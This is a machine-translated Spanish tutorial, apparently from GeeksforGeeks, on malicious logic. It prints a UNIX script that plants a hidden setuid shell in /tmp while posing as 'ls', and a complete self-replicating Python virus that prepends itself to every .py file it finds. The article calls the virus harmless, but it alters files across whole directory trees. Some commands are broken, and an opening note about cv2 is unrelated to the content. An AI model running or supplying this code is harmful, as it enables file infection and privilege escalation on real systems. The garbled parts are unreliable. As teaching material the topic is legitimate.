NOTA: El uso de un compilador en línea no funcionará aquí. Instale Python 2.7x y cv2, módulos argparse para probar este ejemplo.
¡Hola amigos! ¡Bienvenido de nuevo! Antes de continuar con Lógica maliciosa, le pido que eche un vistazo a este excelente e informativo artículo ¡ Gusanos, virus y más !
Ahora, este artículo se centrará más en las aplicaciones que en la teoría de los virus informáticos, gusanos y caballos de Troya.
Pero, tenga en cuenta que este artículo está destinado a ser utilizado únicamente con fines educativos. De ninguna manera promuevo el uso de virus, gusanos o troyanos para atacar los sistemas informáticos y causar daños.
La lógica maliciosa es un conjunto de instrucciones (básicamente un programa) que provoca la violación de una política de seguridad de un sitio web/programa/aplicación, etc.
Guión UNIX
cp /bin/sh /tmp/.xxsh chmod u+s,o+x /tmp/.xxsh rm ./ls ls $*
En este ejemplo, asumimos que «.» está en el entorno de ruta y la secuencia de comandos se ha denominado ls y se coloca en el directorio.
analizando el guion
Este script crea una copia de UNIX Shell que es setuid del usuario que ejecuta este programa. Para comprender los programas setuid, primero debemos comprender cómo se almacena la identidad del usuario en un sistema operativo UNIX.
En el sistema operativo UNIX, la identidad del usuario generalmente se representa como un número entero entre 0 y, en general, 65.535. Este número también se conoce como UID (Número de identificación único). Ahora bien, lo que hacen los programas setuid es que crean procesos con UID del dueño y no de una tercera persona ejecutando el programa. Esto significa que un albacea tendrá los derechos del propietario… Esto en sí mismo es una posible vulnerabilidad.
Volviendo a nuestro script, se creó una copia setuid del shell de UNIX. Posteriormente, este programa se elimina y luego se ejecuta el comando ls correcto (para enumerar los archivos y carpetas presentes en el directorio de trabajo actual).
Caballos de Troya
Regrese al script anterior… Suponga que alguien (root) escribió:
cp /bin/sh /tmp/.xxsh chmod o+s,w+x /tmp.xxsh
Si el script se escribió deliberadamente, dará como resultado un caballo de Troya.
Virus – Un formato básico
La mayoría de los virus informáticos siguen el siguiente guión básico:
Beginvirus if spread-condition TRUE then begin for the target files begin if target affected TRUE then begin Determine where to place virus instructions Copy the virus instructions Modify target to spread the virus later End if End for End if Perform some other instruction(s) //Optional Go back to beginning Endvirus
Básicamente, cada virus informático tiene dos fases:
- Fase de inserción: en esta fase, el virus se inserta en el objetivo.
- Fase de ejecución: en esta fase, el virus realiza algunas acciones.
Echemos un vistazo a un virus real en Python. Ahora bien, este no es un virus real que provocará la corrupción de archivos, la eliminación de archivos del sistema, etc., sino un simple virus inofensivo.
#!/usr/bin/python import os, datetime, inspect DATA_TO_INSERT = "GEEKSFORGEEKS" #search for target files in path def search(path): filestoinfect = [] filelist = os.listdir(path) for filename in filelist: #If it is a folder if os.path.isdir(path+"/"+filename): filestoinfect.extend(search(path+"/"+filename)) #If it is a python script -> Infect it elif filename[-3:] == ".py": #default value infected = False for line in open(path+"/"+filename): if DATA_TO_INSERT in line: infected = True break if infected == False: filestoinfect.append(path+"/"+filename) return filestoinfect #changes to be made in the target file def infect(filestoinfect): target_file = inspect.currentframe().f_code.co_filename virus = open(os.path.abspath(target_file)) virusstring = "" for i,line in enumerate(virus): if i>=0 and i <41: virusstring += line virus.close for fname in filestoinfect: f = open(fname) temp = f.read() f.close() f = open(fname,"w") f.write(virusstring + temp) f.close() #Not required actually def explode(): if datetime.datetime.now().month == 4 and datetime.datetime.now().day == 1: print ("HAPPY APRIL FOOL'S DAY!!") filestoinfect = search(os.path.abspath("")) infect(filestoinfect) explode()
Ahora, este es un virus bastante seguro, pero el formato básico y el funcionamiento son los mismos.
Además, hay varios tipos de virus informáticos: infectores del sector de arranque, infectores ejecutables, virus multipartito, virus TSR, virus Stealth, virus cifrado, virus polimórfico, virus macro.
Ahora, no entraré en detalles y me detendré aquí. ¡Eso es todo por mi parte!
Publicación traducida automáticamente
Artículo escrito por GeeksforGeeks-1 y traducido por Barcelona Geeks. The original can be accessed here. Licence: CCBY-SA